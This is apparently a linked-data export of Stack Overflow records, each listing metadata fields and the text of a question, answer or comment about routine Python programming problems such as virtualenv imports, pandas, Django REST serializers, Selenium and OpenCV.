has title: Find next missing number in list
has comment: http://stackoverflow.com/comment/84580328
has comment: http://stackoverflow.com/comment/84580900
has comment: http://stackoverflow.com/comment/84580907
has comment: http://stackoverflow.com/comment/84580432
has comment: http://stackoverflow.com/comment/84583740
tagged with: python
has comment: http://stackoverflow.com/comment/84582315

http://stackoverflow.com/q/48784564
tagged with: python
has comment: http://stackoverflow.com/comment/84570887
has comment: http://stackoverflow.com/comment/84570793
upvote count: 1
tagged with: pip
has answer: http://stackoverflow.com/a/72164386
answer count: 1
has body: Explanation I had a previous post but I deleted it due to it being meandering and coming to the wrong conclusions. The command I'm running below doesn't make sense on its own, but it's the file that is ultimately causing problems when other scripts I have run this file down the code path. I have Python 3.5.1 installed, with PIP and virtualenv. If I activate my virtual environment and run pip list I get the following. future (0.16.0) generateDS (2.20a0) lxml (3.6.4) mysql-connector (2.1.4) pefile (2016.3.28) pip (9.0.1) PyInstaller (3.2) pypiwin32 (219) pypyodbc (1.3.3) python-dateutil (2.5.3) setuptools (38.5.1) six (1.10.0) wheel (0.30.0) Now if I run virtualenv_foobar_20180214093433\Scripts\process_includes.py. It immediately throws this error. Traceback (most recent call last): File "C:\Code\site\Python\FooBar\virtualenv_foobar_20180214093433\Scripts\process_includes.py", line 28, in &lt;module&gt; from lxml import etree ImportError: No module named lxml The relevant code in that file is this. from copy import deepcopy from lxml import etree try: from gds_inner_name_map import Inner_name_map except ImportError: Inner_name_map = None Question Why is this happening? I've activated the virtual environment, and pip lists the library that it is looking for. Extra Information I have Python 2 and 3 installed, neither are in Windows Path by default. Placing print(platform.python_version()) inside process_includes.py prints the Python 2 version despite me being inside a virtual environment. process_includes.py has the Python 3 held inside the virtual environment as its shebang. Update I have no idea why despite neither Python 2 or 3 being in the PATH, and being inside a Python 3 virtual environment that running the Python file directly would result in it being handled by Python 2. In the end I updated my scripts to explicitly reference the virtual environment python.exe which was a bit of a pain but not the end of the world.
has title: Python file does not recognise library installed in virtual environment
has comment: http://stackoverflow.com/comment/84570719
type: UnansweredQuestion
downvote count: 0
score: 1
tagged with: virtualenv
has comment: http://stackoverflow.com/comment/84570635
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84570915
type: Question
has comment: http://stackoverflow.com/comment/84570742

shapely
tags question: http://stackoverflow.com/q/48770822
tag name: shapely
type: Tag
tags question: http://stackoverflow.com/q/48685847
tags question: http://stackoverflow.com/q/48688098

http://stackoverflow.com/q/48686381
downvote count: 0
has comment: http://stackoverflow.com/comment/84380682
tagged with: python
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48687438
accepted answer: http://stackoverflow.com/a/48687438
has answer: http://stackoverflow.com/a/48694868
has title: How to get a list of indexes selected by a specific value efficiently with numpy arrays?
type: Question
upvote count: 2
tagged with: numpy
has comment: http://stackoverflow.com/comment/84370268
possible better answer: http://stackoverflow.com/a/48686506
answer count: 3
has comment: http://stackoverflow.com/comment/84380927
has body: I have a numpy array like this: import numpy as np arr = np.array([9, 6, 3, 8, 2, 3, 3, 4, 4, 9, 5, 6, 6, 6, 6, 7, 8, 9]) And I want to get a list of indexes of the found values by groups index_list_2 = [4 ] # index list of the element with the value 2 index_list_3 = [2, 5, 6 ] index_list_4 = [7, 8 ] index_list_9 = [0, 9, 17] # [...] The first approach that comes to my mind (that´s not very pythonic): i = 0 for x in arr: if x == 2: index_list_2 += [i] if x == 3: index_list_3 += [i] if x == 4: index_list_4 += [i] if x == 9: index_list_9 += [i] i += 1 Which is the most efficient way to achieve this with numpy arrays?
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84383599
has answer: http://stackoverflow.com/a/48686506

http://stackoverflow.com/comment/84430937
comment on: http://stackoverflow.com/q/48715812
score: 0
type: Comment
type: QuestionComment
has text: Since this question is not about a specific piece of code with which you are struggling, I would suggest https://softwareengineering.stackexchange.com/ or https://dba.stackexchange.com/

http://stackoverflow.com/a/48707847
score: 1
upvote count: 1
downvote count: 0
answers question: http://stackoverflow.com/q/48707749
type: Answer
has body: You can concatenate two tuples together to get your result. One thing to note is that tuples are not mutable in Python, however, you can assign the result of concatenating two immutable tuples to the variable holding the initial tuple, like you are wanting to do here. customer_contacts_group['1'] += (4,5,6) Output: {'1': (20, 4, 5, 6)}

http://stackoverflow.com/comment/84326932
type: Comment
has text: @Knix Happy that it helped!
comment on: http://stackoverflow.com/a/48661995
type: AnswerComment
score: 0

http://stackoverflow.com/a/48762342
has body: You are correct you have a circle import issue. At app.py you import from noteapp.models import db, and at models.py you import from noteapp.app import app A quick fix could be: at models.py use db = SQLAlchemy() without the app. At the app.py module, import db from models.py and do db.init_app(app) also remove db = SQLAlchemy(app) from your app.py your app.py should look like this.. from noteapp.models import db ... app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = 'removed for reasons' ... def init_db(): db.init_app(app) db.app = app db.create_all() ... if __name__ == '__main__': app.init_db() app.run(debug=True) models.py should look like this: from flask_sqlalchemy import SQLAlchemy db = SQLAlchemy() class User(db.Model): email = db.Column(db.String(80), primary_key=True, unique=True) password = db.Column(db.String(80)) def __init__(self, email, password): self.email = email self.password = password def __repr__(self): return '&lt;User %r&gt;' % self.email
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48762191
type: Answer
score: 11
upvote count: 11
has comment: http://stackoverflow.com/comment/84525931
accepted answer of: http://stackoverflow.com/q/48762191
has comment: http://stackoverflow.com/comment/128671549

http://stackoverflow.com/a/48753356
answers question: http://stackoverflow.com/q/48753255
has body: Index Error: List index out of range means you are trying to get an item in a list that doesn't exist. For Example, I have this list: ["a","b","c"] So a is the 0th item, b is the 1st, and c is the 2nd. I can get b by doing ["a","b","c"][1] because it is the first item and I am calling for the first item with [1]. An index error is what would happen if I tried to do this: ["a","b","c"][4] There is no 4th item, so it errors.
upvote count: 2
type: Answer
score: 2
downvote count: 0

http://stackoverflow.com/comment/84559804
has text: so how can I store a variable how you did it. For example if I had a line in the file like this **Number of mesh: (a number)** and I wanted to store that number in a variable
comment on: http://stackoverflow.com/a/48776509
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/84466063
has text: In an RNN you will generally 0-pad, and also pass in a 0/1 mask array to indicate which values are 0-padded and which are not. You'll want to use the dynamic_rnn which supports this. What it's doing under the covers is computing the 0-padded values, but then multiplying the loss function by 0, resulting in a 0-gradient which has no effect. The problem with not zero-padding is that you can run efficient bulk matrix operations, so that's just not supported.
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/48732931

http://stackoverflow.com/q/48801905
answer count: 1
tagged with: pygame
favorite count: 0
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python
score: 3
upvote count: 3
type: Question
has answer: http://stackoverflow.com/a/48802057
tagged with: raspberry-pi
downvote count: 0
has title: How to read a Python Num-Lock Keypress Toggle events?
has body: For a project I am making a program controlled completely by the number pad. A lot relies on buttons on the num-pad being able to be detected as being held down or not; I would set a Boolean to true when it is pressed and false when it is released. With these constraints I came across a problem: The Num-Lock key toggles between up and down each time it is pressed, and nothing upon release. With the same system I was using for the other keys, pressing the key once would turn it true and pressing it again would make it false again rather than pressing it making it true and RELEASING it making it false again. Basically, how can I get the numpad Num-Lock key to trigger something upon both press and release instead of toggling with each press? Intended OS: Windows and Linux (Raspberry Pi) Python 3.x The was I get the inputs is the same as the Python games on raspberry pi, using event.type and event.key etc.
has comment: http://stackoverflow.com/comment/84621999

http://stackoverflow.com/comment/84311399
comment on: http://stackoverflow.com/q/48656774
score: 0
type: Comment
type: QuestionComment
has text: `.*` is greedy and looks to backtrack with the higher priority. For what I see in your question it is not needed at all. You should skip it, using only `(\d+(?:\.\d+)?)\s?(gb|GB)`.

http://stackoverflow.com/a/48782744
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/48781383
downvote count: 0
type: Answer
has body: Next time post the full stack, and specifically where the error happened - this will immediately show where, and probably what, the error is. I'm guessing here: #in_file = open(in_file, "r") and the same for out file: out_file = open(out_file, "r") The way type= argparse.FileType works is it opens the file for you. You're attempting to open an open file - remove those two lines, and use args.in_file and args.out_file directly as file descriptors. The advantage of using a FileType rather than a string you open yourself is that argparse will check for errors on opening and let you know in a nicely printed way if there was trouble opening a file.

http://stackoverflow.com/q/48798095
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48819577
has title: DRF - 'str' object has no attribute 'pk'
upvote count: 1
type: Question
answer count: 2
tagged with: django-rest-framework
accepted answer: http://stackoverflow.com/a/48819577
downvote count: 0
score: 1
favorite count: 0
possible better answer: http://stackoverflow.com/a/48799797
has body: I've got a front-end that sends JSON to the back-end to switch the input of a digital audio stream, with an optional time component to schedule the switch for the future. Here are the components of making this work: from views.py: class SwitchStreamView(views.APIView): """ A custom endpoint for switching inputs of radio streams """ queryset = RadioStream.objects.all() def post(self, request, format=None): serializer = serializers.RadioSwitchSerializer(data=request.data, many=True) serializer.is_valid() for stream in serializer.data: if stream.schedule_time is None: tasks.switch_stream(stream.mnemonic, stream.current_input) else: tasks.schedule_switch(stream.mnemonic, stream.current_input, stream.schedule_time) return HttpResponse('') from serializers.py: class RadioSwitchSerializer(serializers.ModelSerializer): schedule_time = serializers.SerializerMethodField() def get_schedule_time(self, obj): return obj.get('schedule_time', None) class Meta: model = RadioStream fields = ('mnemonic', 'current_input', 'schedule_time') The issue I'm having is that however I try and send a test JSON snippet, I'm getting errors. With this setup, sending [ { "mnemonic": "TEST", "current_input": "TEST" } ] results in the error 'str' object has no attribute 'pk', but if I change RadioSwitchSerializer(data=request.data, many=True) to many=False, and send { "mnemonic": "TEST", "current_input": "TEST" } I get the response 'str' object has no attribute 'schedule_time' instead. My plan was to use mnemonic to identify the stream, and current_input to identify which input to switch it to. My questions are; Why is this not working, and should I be using a non-Model serializer for this custom action instead of trying to fit the action into the existing fields of the model? Edit: Here is the traceback Internal Server Error: /api/switch/ Traceback (most recent call last): File "...\lib\site-packages\django\core\handlers\exception.py", line 35, in inner response = get_response(request) File "...\lib…
has answer: http://stackoverflow.com/a/48799797
tagged with: django
tagged with: python

http://stackoverflow.com/comment/84608456
has text: I'm on python3.6, and I tried printing file1 and file2, they print as expected. Note that in python3 it's `zip_longest`.
score: 0
comment on: http://stackoverflow.com/q/48802835
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48688589
has comment: http://stackoverflow.com/comment/84387985
has comment: http://stackoverflow.com/comment/84385726
has comment: http://stackoverflow.com/comment/84386144
accepted answer of: http://stackoverflow.com/q/48687761
type: Answer
answers question: http://stackoverflow.com/q/48687761
type: AcceptedAnswer
score: 0
has body: You can use form validation: class StudentForm(forms.ModelForm): email = forms.EmailField(required=True) name = forms.CharField(max_length=50, required=True) surname = forms.CharField(max_length=50, required=True) student_ID = forms.CharField(required=True, max_length=14, min_length=14) def clean_student_ID(self): id = self.cleaned_data['student_ID'] try: StudentData.objects.get(student_ID=id) except: raise ValidationError("Wrong student ID!!") return id

http://stackoverflow.com/q/48746229
possible better answer: http://stackoverflow.com/a/48746276
type: Question
has comment: http://stackoverflow.com/comment/84492275
linked to: http://stackoverflow.com/q/44690971
answer count: 2
tagged with: radio-button
has answer: http://stackoverflow.com/a/48748267
has comment: http://stackoverflow.com/comment/84494900
has body: So I've been working with Selenium in Python. I finished my code (which worked at the time) but suddenly it chose not to work anymore. To be specific: If I try: driver.find_element_by_id("leasingtrue").click() It returns me the error: selenium.common.exceptions.ElementNotInteractableException: Message: Element could not be scrolled into view On the other hand, if I find the element by its XPath it works like intended. The error only occurs with type "radio" but consistently at every single one. Since the complete code is about 600 lines long I don't intend to change every single one of these to an XPath. Another relevant information: Since I am working with PyCharm I could just revert back to a version that definitely worked before. But now, it gives me the same error as well. Does anyone have a clue to what this error could be related to? The website I am scraping is: https://www.comparis.ch/autoversicherung/berechnen?carmake=41. I'm using Python 2.7 with Selenium 3.8 The relevant HTML is: Ja
downvote count: 0
has comment: http://stackoverflow.com/comment/84493780
has comment: http://stackoverflow.com/comment/84495081
has comment: http://stackoverflow.com/comment/84495816
favorite count: 0
has title: Selenium find element_by_id not working with radio buttons
has comment: http://stackoverflow.com/comment/84493636
tagged with: python
has answer: http://stackoverflow.com/a/48746276
type: AnsweredQuestion
score: 2
accepted answer: http://stackoverflow.com/a/48748267
upvote count: 2
tagged with: selenium

http://stackoverflow.com/comment/84438304
score: 0
type: QuestionComment
type: Comment
has text: I put the code in views.py but nothing changed also settings is correct too. I also added template loader too but still not working
comment on: http://stackoverflow.com/q/48719003

http://stackoverflow.com/comment/84327486
score: 0
comment on: http://stackoverflow.com/q/48664557
type: Comment
type: QuestionComment
has text: The error tells that you create DataFrame with wrong parameters. Can you please post traceback or add row number, which produces the error? Or code of a row where you initiate X variable? Also check other related StackOverflow questions: [link](https://stackoverflow.com/search?q=DataFrame+constructor+not+properly+called)

http://stackoverflow.com/comment/84387889
score: 1
has text: What I'm saying is that it's a list. Make it into an image `visited[a[0]][a[1]] = 1`. Looking up a coordinate in a list to see if you've visited is extremely expensive!
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48667783

http://stackoverflow.com/comment/84399782
type: Comment
comment on: http://stackoverflow.com/a/48700224
score: 0
has text: Thank you kindly. You get the tick.
type: AnswerComment

http://stackoverflow.com/a/49422546
type: Answer
score: 2
downvote count: 0
has body: Python newspaper package for Article scraping and curation returns only Home page articles. import newspaper news_paper = newspaper.build('http://nypost.com', memoize_articles=False) print(news_paper.size()) for article in news_paper.articles: print(article.url) It will print all the article urls of home page.I also tested it for CNN 'https://edition.cnn.com'.
answers question: http://stackoverflow.com/q/48726578
upvote count: 2

http://stackoverflow.com/q/48759505
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84519911
has body: I am trying to compare rows within a group and if a condition is met within the rows, I want to either keep the complete group, keep the most recent row, or keep the first row. The dataframe will only have 2 items per group. If the first row of the group has the LastFour digits of '2290' OR if it start with the letter 'M' AND if in the second row the LastFour column is equal to either 0087 OR 0117 AND if NUM != 6708 then I want to keep both rows. This is the first conditional. The second condition is if the rows are the same for each column except for the Date column then keep the row with the most recent date. Else, if neither of these conditions are met, keep the first row only and remove the second row. Original df: KEY CLAIM LastFour NUM Date1 Date2 Code 166 0944 163 0087 30087 3/2/2012 3/5/2012 1 167 0944 164 0087 30087 3/3/2012 3/5/2012 1 225 1413 222 2290 123422 2/10/2012 2/11/2012 1 226 1413 223 0032 123123 2/10/2012 2/11/2012 1 315 1979 312 0025 70025 12/24/2011 1/6/2012 3 316 1979 313 0025 70025 12/24/2011 1/6/2012 3 320 1997 317 0007 140007 1/1/2012 1/4/2012 2 321 1997 318 0007 140007 1/1/2012 1/4/2012 2 Anticipated result: KEY CLAIM LastFour NUM Date1 Date2 Code Keep 166 0944 163 0087 30087 3/2/2012 3/5/2012 1 FALSE 167 0944 164 0087 30087 3/3/2012 3/5/2012 1 TRUE 225 1413 222 2290 123422 2/10/2012 2/11/2012 1 TRUE 226 1413 223 0032 123123 2/10/2012 2/11/2012 1 TRUE 315 1979 312 0025 70025 12/24/2011 1/6/2012 3 FALSE 316 1979 313 0025 70025 12/24/2011 1/6/2012 3 TRUE 320 1997 317 0007 140007 1/1/2012 1/4/2012 2 FALSE 321 1997 318 0007 140007 1/1/2012 1/4/2012 2 TRUE My approach was to use an if statement but I'm having trouble. if ((df['KEY'] == df['KEY'].shift(-1)) &amp; (df['LastFour'].isin(['2290'])) \ | (df['LastFour'].str.get(0).isin(['M']))) &amp; \ ((df['KEY'] == df['KEY'].shift(-1)) &amp; (df['LastFour'].isin(['0087','0117'])) | (~df['NUM'].isin(['670899']))): pass if (df['KEY'] == df['KEY'].shift(-1)) &amp; (df['LastFour'] == df['LastFour'].shif…
type: Question
has comment: http://stackoverflow.com/comment/84535984
has answer: http://stackoverflow.com/a/48777367
score: 0
tagged with: pandas-groupby
tagged with: pandas
has title: Pandas: If statement with multiple conditions on pandas dataframe
answer count: 1
has comment: http://stackoverflow.com/comment/84519854
accepted answer: http://stackoverflow.com/a/48777367
has comment: http://stackoverflow.com/comment/84519871

http://stackoverflow.com/q/48769441
tagged with: oauth-2.0
tagged with: twitter
has body: I am trying to analyse the twitter realtime data using Streaming API using OAuth 2.0 I am using birdy twitter API client link from birdy.twitter import AppClient,StreamResponse CONSUMER_KEY = 'B....c' CONSUMER_SECRET = 'l....A' client = AppClient(CONSUMER_KEY, CONSUMER_SECRET) access_token = client.get_access_token() resource = client.stream.statuses.filter.post(track='twitter') for data in resource.stream(): print data while executing,i get the following error Traceback (most recent call last): File "webapp/streams.py", line 23, in resource = client.stream.statuses.filter.post(track='twitter') File "/home/ravi/PycharmProjects/twitter-livestream/venv/local/lib/python2.7/site-packages/birdy/twitter.py", line 86, in post return self._client.request('POST', self._path, **params) File "/home/ravi/PycharmProjects/twitter-livestream/venv/local/lib/python2.7/site-packages/birdy/twitter.py", line 167, in request return self.handle_response(method, response) File "/home/ravi/PycharmProjects/twitter-livestream/venv/local/lib/python2.7/site-packages/birdy/twitter.py", line 189, in handle_response raise TwitterApiError('Unable to decode JSON response.', response=response, request_method=method) birdy.twitter.TwitterApiError: Unable to decode JSON response. (POST https://stream.twitter.com/1.1/statuses/filter.json) Thanks in Advance ...:)
type: Question
score: 0
tagged with: api
answer count: 1
has title: birdy.twitter.TwitterApiError: Unable to decode JSON response
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/48771158

http://stackoverflow.com/q/48708101
type: Question
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48708158
has comment: http://stackoverflow.com/comment/84415351
answer count: 1
favorite count: 0
upvote count: 2
tagged with: python
has title: How to create the Json schema in python?
tagged with: http://stackoverflow.com/tag/json
score: 2
tagged with: dictionary-comprehension
downvote count: 0
has comment: http://stackoverflow.com/comment/84414945
tagged with: list-comprehension
has answer: http://stackoverflow.com/a/48708158
has body: I want to create the below json schema in python. { "persons": [ { "city": "Seattle", "name": "Brian", "age" : 19 }, { "city": "Amsterdam", "name": "David", "age" : 29 }, { "city": "Amsterdam", "name": "David", "age" : 19 }, { "city": "Amsterdam", "name": "David", "age" : 49 }, { "city": "Amsterdam", "name": "David", "age" : 19 } ] } I have 3 lists. city=list_city[10::9] name=list_names[9::9][::-1] age=list_age[11::9] I have spent few hours to accomplish this by list,dict comprehensions, but I at max get just one Json object inside the persons array. Like this :- { "persons": [ { "city": "Seattle", "name": "Brian", "age" : 19 } "age" : 19 ] } Which I suspect is because the dictionary is getting updated &amp; thereby overwriting old values. How can I achieve the complete json schema ?

http://stackoverflow.com/comment/84571872
has text: Yes, I want only pointed why in pandas is better use `str.` functions, not `lambda` ;)
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48784637

http://stackoverflow.com/q/48800588
favorite count: 0
has title: return calculation using newly generated column values in pandas dataframe
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84603986
has answer: http://stackoverflow.com/a/48800688
has body: I have change column and i want result column as output.(1+change)100 for 1st result row is fixed but on words (1+ change) result from previous row for 2nd row: (1+(-0.0106))*100.87 i have done with loops. but i am trying with lambda function so that i can pass array of values and i will get array of result. change result 100 0.0087 100.87 -0.0106 99.800778 0.0133 101.1281283 0.0527 106.4575807 0.0269 109.3212896 -0.014 107.7907916 -0.0247 105.128359 -0.012 103.8668187 0.0494 108.9978396 0.0092 110.0006197 -0.0278 106.9426025 0.0162 108.6750726
has comment: http://stackoverflow.com/comment/84604807
upvote count: 1
has comment: http://stackoverflow.com/comment/84603849
type: Question
accepted answer: http://stackoverflow.com/a/48800688
tagged with: pandas
answer count: 1
downvote count: 0
score: 1

http://stackoverflow.com/a/48769095
upvote count: 2
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/84539649
has body: Assume your dataframe is called df. To get all rows in column "A" that equal to 0: df_a = df[df["A"] == 0] Then, to get index of those rows: df_a_index = df_a.index Then, you want the next row of these indices: df_b_index = df_a_index + 1 Then, df.iloc[df_b_index]["B"] will give you the adjacent (next) row in column "B".
answers question: http://stackoverflow.com/q/48768902
downvote count: 0

http://stackoverflow.com/q/48726309
score: 0
has comment: http://stackoverflow.com/comment/84470701
has comment: http://stackoverflow.com/comment/84470570
tagged with: cql
tagged with: cassandra
type: UnansweredQuestion
tagged with: cassandra-3.0
tagged with: python
has comment: http://stackoverflow.com/comment/84464190
has comment: http://stackoverflow.com/comment/84470411
has title: Cassandra CQL Shell unable to connect
answer count: 0
has comment: http://stackoverflow.com/comment/84470085
has comment: http://stackoverflow.com/comment/84470602
has body: I installed cassandra in windows 7 ( 64 bits ) , and when i launch the cql shell it says connection error unable to connect to any server , and it close immediately . Here is the screen shot of the problem
type: Question
has comment: http://stackoverflow.com/comment/84470056
has comment: http://stackoverflow.com/comment/84470947
has comment: http://stackoverflow.com/comment/84470583
has comment: http://stackoverflow.com/comment/84470653

http://stackoverflow.com/a/48707889
upvote count: 1
type: Answer
downvote count: 2
answers question: http://stackoverflow.com/q/48707749
has comment: http://stackoverflow.com/comment/84414629
score: -1
has body: You cannot append to tuples like your (20,30,40,). But to lists like [20, 30, 40]. And what you are trying to do calls for defaultdict(list) like so: from collections import defaultdict groups = defaultdict(list) for key, record in [(1, 1), (1, 2), (2, 100), (2, 200)]: groups[key].append(record) defaultdict(some_callable) saves you the hassle of checking whether a key exists etc. by defaulting to whatever some_callable returns.

http://stackoverflow.com/q/48753022
has title: OpenCV Python cv2.imshow() error
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84513038
has answer: http://stackoverflow.com/a/48753127
tagged with: opencv
upvote count: 0
linked to: http://stackoverflow.com/q/43572387
type: Question
score: -1
tagged with: image
has body: I am starting out with OpenCV in Python, and I have the following simple code from a Youtube tutorial: import numpy as np import cv2 # read the image img = cv2.imread('lion.jpg') # show the image # cv2.imshow has 2 parameters: the first is the name of the window in which we are showing the image # and the second is the matrix referring to the image we want to show cv2.imshow('image', img) # We want the program to exit when the user presses a key cv2.waitKey(0) # Once the user presses the key, we want the program to shut down cv2.destroyAllWindows() However, I get the following error: cv2.error: C:\projects\opencv-python\opencv\modules\highgui\src\window.cpp:331: error: (-215) size.width&gt;0 &amp;&amp; size.height&gt;0 in function cv::imshow The error occurred on the line where I call cv2.imshow(). Is this because there is no such image lion.jpg already included in the cv2 module? Because I tried using a random picture from my images folder instead and it threw the same error.
answer count: 1
downvote count: 1
tagged with: directory
duplicate of: http://stackoverflow.com/q/43572387
favorite count: 0

http://stackoverflow.com/comment/84404100
comment on: http://stackoverflow.com/q/48702696
type: Comment
has text: The [Tcl/Tk documentation page for the colorchooser](https://www.tcl.tk/man/tcl/TkCmd/chooseColor.htm) does not mention any platform specific options so I doubt that it is possible to set the custom colors.
score: 0
type: QuestionComment

http://stackoverflow.com/q/48752276
upvote count: 2
tagged with: openpyxl
has answer: http://stackoverflow.com/a/48753775
has title: Trying to unfreeze panes with openpyxl causes damages
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84505394
answer count: 4
score: 2
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/65648411
type: Question
tagged with: python
has answer: http://stackoverflow.com/a/76847467
has body: I am attempting to read worksheets with openpyxl and unfreeze the panes. Openpyxl documentation indicated that to do that, I would set the worksheet.freeze_panes to "A1" or None. I am doing that (see code below) wb=load_workbook(path) ws=wb["Sheet"] ws.freeze_panes=ws["A1"] wb.save(path) but when I try to open the workbook, Excel says 'We found a problem with some content, do you want us to try to recover as much as we can?" It then gives a log of the repairs which says "Removed Feature: View from /xl/worksheets/sheet2.xml part" However, when I try to freeze any other pane, I don't get any issues. Has anyone else ran into this problem? Is there something I'm doing wrong? Would appreciate any insight. I am using openpyxl version 2.5.0 and python version 3.5.2.
has answer: http://stackoverflow.com/a/70892651

http://stackoverflow.com/comment/84526732
score: 0
comment on: http://stackoverflow.com/q/48763125
type: Comment
type: QuestionComment
has text: use `A._tmpl` instead of `_tmpl`.

http://stackoverflow.com/comment/84578493
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48788314
has text: My code tries to really access ES, how can I substitute that?
type: Comment

http://stackoverflow.com/comment/84316010
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48655612
has text: That is, if 5 was used, what should be the updated sequence sequence: `[1,10,7,8,11,13,66,34]` or `[1,5,10,7,8,11,13,66,34]`?

http://stackoverflow.com/a/48796219
downvote count: 1
answers question: http://stackoverflow.com/q/48795930
has body: The if else functionality is technically possible, you just need to think about it in terms of the '|' statement. ^ *from (?P&lt;package&gt;[.\w]+) +import (\()?(?(2)(?P&lt;object0&gt;[*, \n\w]+)\)|(?P&lt;object1&gt;[*, \w]+)) If the expression before the | is not matched then select the expression after the |. In effect this is essentially an if then else if you include the if with the then part of the statement.
score: -1
upvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/84595095

http://stackoverflow.com/a/48802737
has body: For some reason, the -fPIC flag is not enough, you also need a PIC runtime. Previously, this required a special switch (such as 4.04.1+fPIC), but now you can select which runtime to link against. The following works for me (Debian buster, opam 4.06.1+rc2 switch): % ocamlopt -output-obj -runtime-variant _pic -o foo.so foo.ml % python foo.py Loaded I'm trying to build a shared object out of an OCaml library that I can run under Python using the cdll interface in ctypes. Note that you won't be able to just call the OCaml symbols from Python (or another interface), you'll need to write some C that sets up the runtime and manages the OCaml objects. A simple way to do that is to use Cstubs_inverted for this part.
accepted answer of: http://stackoverflow.com/q/48801340
answers question: http://stackoverflow.com/q/48801340
type: AcceptedAnswer
upvote count: 6
downvote count: 0
type: Answer
score: 6

http://stackoverflow.com/comment/84467547
has text: Thank you very much for the help
type: AnswerComment
comment on: http://stackoverflow.com/a/48733938
score: 0
type: Comment

http://stackoverflow.com/q/48705018
type: UnansweredQuestion
score: 1
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/77762744
has body: I'm trying to write a multi-threading helper with context managers. The idea is to define a bunch of functions inside a block and the context manager 'magically' takes care of the scheduling and everything. A simplified, working version looks like this: import contextlib @contextlib.contextmanager def multi_threaded(count): funcs = [] yield funcs my_slice = int(count / len(funcs)) for i, func in enumerate(funcs): start = my_slice * i func(start, start + my_slice) def spawn_many(): dataset = [1, 2, 3, 4, 5] with multi_threaded(len(dataset)) as mt: def foo(start_idx, end): print("foo" + str(dataset[start_idx : end])) def bar(start_idx, end): print("bar" + str(dataset[start_idx : end])) mt.append(foo) mt.append(bar) spawn_many() This example works, but I'd like to get rid of these lines: mt.append(foo) mt.append(bar) So that the user only needs to define the functions without adding them to the collection. Why? Because it's less error prone and I won't have control of the code that gets written with this library. The problem is that after the yield I'm out of the scope where the def foo happened so I have no knowledge of the locals() existing in that scope, which is basically what I need to know which functions got defined in there. Any ideas/tricks/words of encouragement? Thanks for reading!
answer count: 3
downvote count: 0
favorite count: 0
tagged with: scope
has answer: http://stackoverflow.com/a/58362090
has answer: http://stackoverflow.com/a/48705598
tagged with: python
has title: ContextManager accessing the locals() of the calling with block

http://stackoverflow.com/a/48776761
has comment: http://stackoverflow.com/comment/84555789
accepted answer of: http://stackoverflow.com/q/48776490
type: Answer
has comment: http://stackoverflow.com/comment/84555595
has body: It sounds like you also want to learn how to reduce the length of the code. A rule of thumb is to concentrate on making your code clear and concise first, so you can try to identify ways to simplify the structure. For example, you can restructure and remove redundant branches. Many of your cases are just passes. Also, yes, college classes say that break statements aren't great. For clarity, you might want to use a conditional variable to end the loop. In this case, you don't really need to do that, but an alternative is to wrap the code in a function and bypass the rest of a loop simply by returning, You already use a function, so you can just return from the function if all you do is update the one item's priority (and exit). Perhaps you want to return a status code indicating that an item was found or not. (True or False). def update_priority(self, object, priority): # check all items in the queue (you do not require the index.) # the entry is stored in "entry" for entry in self._queue: # if you find the object and its priority needs an update if object == entry.get_item() and priority != entry.get_priority(): # set the priority entry.set_priority(priority) # return true for success, you found the object and updated it return True """ If you arrive at this line, the object didn't exist or it didn't need an update (if you need to distinguish between "object not found" and "object found but didn't update," use an extra flag or nest the != entry.get_priority as you did before""" return False
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/48776490
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/48647779
answers question: http://stackoverflow.com/q/48647687
has body: You probably want something like T = [1,2] J = range(5) models = [(t*x) + y[i,j] &gt;= 10 for j in J for i, t in enumerate(T)] which will give you a list of 10 Trues and/or Falses, named models
score: 0
type: Answer

http://stackoverflow.com/a/48741453
downvote count: 0
has comment: http://stackoverflow.com/comment/84482576
answers question: http://stackoverflow.com/q/48741369
type: Answer
has comment: http://stackoverflow.com/comment/84483231
has comment: http://stackoverflow.com/comment/84483305
score: 1
upvote count: 1
has body: You can do it using a simple forloop x = [{'max_score': '110', 'total_mark': '75', 'id': 1}, {'max_score': '110', 'total_mark': '75', 'id': 2}, {'max_score': '131', 'total_mark': '99', 'id': 1}, {'max_score': '131', 'total_mark': '64', 'id': 2}] d = {} for i in x: if i["id"] not in d: d[i["id"]] = {'rec': [{'max_score': i['max_score'], 'total_mark': i['total_mark']}]} else: d[i["id"]]['rec'].append({'max_score': i['max_score'], 'total_mark': i['total_mark']}) print d Output: {1: {'rec': [{'total_mark': '75', 'max_score': '110'}, {'total_mark': '99', 'max_score': '131'}]}, 2: {'rec': [{'total_mark': '75', 'max_score': '110'}, {'total_mark': '64', 'max_score': '131'}]}}
has comment: http://stackoverflow.com/comment/84483408
accepted answer of: http://stackoverflow.com/q/48741369
type: AcceptedAnswer

http://stackoverflow.com/q/48792405
has comment: http://stackoverflow.com/comment/84588511
downvote count: 1
